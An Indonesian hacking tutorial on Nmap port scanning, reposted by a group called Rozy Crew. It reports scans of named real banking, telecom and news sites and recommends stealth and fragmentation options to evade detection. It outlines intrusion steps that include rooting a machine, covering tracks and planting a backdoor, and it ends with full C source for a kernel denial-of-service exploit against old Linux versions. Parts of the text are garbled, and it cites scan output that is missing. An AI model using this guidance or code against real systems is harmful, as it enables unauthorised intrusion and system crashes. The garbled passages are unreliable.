|
Artikel From Rozy Crew
|
|
=================================================================================================
Jika Anda Ingin Berbagi Ilmu
Tentang Ilmu Komputer
Tolong Kirimkan Tips dan Trik atau Artikel Anda
Ke Rozy@hehe.com atau Rozy_eksa@yahoo.com
VER Bahasa Indonesia
=================================================================================================
Port Scanning: Melihat Kondisi Target
di Internet
oleh Onno W Purbo
Dalam melakukan hacking jarak jauh (remote), langkah paling awal yang diperlukan sebelum proses hacking dilakukan adalah melihat servis yang diberikan oleh server atau target di Internet. Dalam konsep jaringan komputer klien-server, setiap program atau servis akan menempati sebuah port dalam tatanan protokol TCP (Transmission Control Protocol).
Sebagai gambaran kombinasi port-program atau servis yang cukup familiar dengan pengguna umum Internet adalah:
25 smtp server
80 web server
110 pop server
Cara paling sederhana untuk melihat status servis pada server target di Internet adalah menggunakan software port scanner seperti Nmap di Linux yang dibuat oleh fyodor@insecure.org
Nmap di rancang untuk memungkinkan seorang sistem administrator atau perorangan yang iseng untuk melakukan scan jaringan yang besar, melihat mesin yang sedang beroperasi dan servis yang mereka berikan.
Cukup banyak teknik scan yang diberikan oleh Nmap seperti UDP, TCP connect(), TCP SYN (half open), ftp proxy (bounce attack), Reverse-ident, ICMP (ping sweep), FIN, ACK sweep, Xmas Tree, SYN sweep, dan Null scan. Di samping itu, Nmap juga memberikan banyak fitur seperti remote OS detection via TCP/IP fingerprinting, stealth scanning, kalkulasi dynamic delay dan retransmission, parallel scanning, detection of down hosts via parallel pings, decoy scanning, port filtering detection, direct (non-portmapper) RPC scanning, fragmentation scanning, dan spesifikasi yang flexible dari target dan port.
Saya kebetulan menggunakan Linux Mandrake 8.0 di komputer Pentium 133MHz di rumah. Linux Mandrake 8.0 menyediakan Nmap dalam distribusinya. Port scanner nmap dapat digunakan menggunakan command line (di ketik di prompt $ atau #) atau menggunakan grafik interface di Linux. Saya sendiri lebih suka menggunakan command line, karena kita dapat mengontrol lebih banyak parameter.
Tampak dari antara ketiga situs di atas, ibank.klikbca. com merupakan situs yang paling serius pertahanannya. Bahkan Nmap yang melakukan stealth probe gagal untuk melihat port-port yang aktif pada ibank.klikbca.com (sebetulnya port 443 terbuka di ibank.klikbca. com).
Situs Telkom (www.telkom. co.id) termasuk yang paling parah pertahanannya, demikian banyak port yang terbuka di Internet sehingga membuat kita berpikir apakah betul ini Telkom yang hebat itu? Koq sampai demikian ceroboh? Atau disengaja? Entahlah.
Detik (www.detik.com) cukup baik hanya membuka penuh port 80 (Web) dan 22 (SSH); di samping ada beberapa port lain yang beroperasi tetapi tertutup bagi akses umum di Internet.
Cara menjalankanNmap juga relatif sederhana, menggunakan format:
# nmap [tipe scan] [option] nama-target-mesin
Jika PC anda tersambung ke Internet, maka port scanning akan dijalankan secara otomatipilkan hasil seperti tampak di atas.
Ada beberapa tipe scan yang sering digunakan untuk melihat port mana saja yang terbuka dari ribuan port; beberapa perintah yang ada seperti, -sT, -sF, -sR dsb. Yang sering saya gunakan adalah:
· -sS - TCP SYN scan. Teknik ini kadang di sebut “half-open” scanning karena anda tidak membuka penuh hubungan TCP. Jika direspon dengan SYN|ACK maka port berarti terbuka. Bila responds berupa RST menunjukan servis tidak jalan. Pada saat SYN|ACK di terima, Nmap akan merespon dengan RST. Dengan teknik ini, sedikit situs yang akan mencatat scanning yang dilakukan. Ini disebut stealth scanning.
Ada banyak opsi yang mengatur cara kerja Nmap, beberapa yang sering saya gunakan misalnya:
· -P0 - tidak melakukan ping ke target, untuk menghindari kita terlihat oleh target.
· -f - menggunakan potongan paket kecil-kecil (fragmented) agar sulit di deteksi oleh software pendeteksi penyusup.
· -v - verbose mode, untuk melihat hasil antara proses scan pada layar.
· -O - mencoba menebak sistem operasi yang digunakan oleh mesin target.
Untuk melihat penjelasan lengkap berbagai pilihan yang ada di Nmap, ada baiknya membaca manual Nmap yang dapat diperoleh dengan mengetikkan:
$ man nmap di prompt Linux.
Setelah kita mengetahui port atau servis yang dijalankan di mesin target, kita perlu mengetahui jenis software untuk servis tersebut. Dan mencoba membaca-baca di situs underground tentang kelemahan software tersebut. Syukur-syukur kalau anda menemukan eksploit software tersebut. Biasanya eksploit yang tersedia perlu di-compile dengan menggunakan compiler C.
Perlu diingat dan dipahami proses hacking akan terdiri dari empat langkah utama:
1 Memperoleh akses ke situs.
2 Menghack root.
3 Menutupi bekas-bekas anda.
4 Membuat backdoor untuk menjaga account.
Kita baru mencapai Langkah 0 dari usaha untuk membuka akses ke situs. Perjalanan masih lama dan membutuhkan banyak waktu dan proses belajar.
Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.
/* [http://b0f.morphed.net] - eth0 */
/* */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2
The following exploit code will hang any Linux machine on various Pentium platforms.
Note that this does not require any special privileges, and any user can compile and run it, so watch out kiddies...
The send system call immediately puts the kernel in a loop spewing kmalloc: Size (131076) too large forever (or until you hit the reset button).
Apparently UNIX domain sockets are ignoring the /proc/sys/net/core/wmem_max parameter, despite the documentation to the contrary.
[code provided by eth0 from b0f security]
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ' '+(i%95);
buf[i] = '\0';
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
|
|
|
|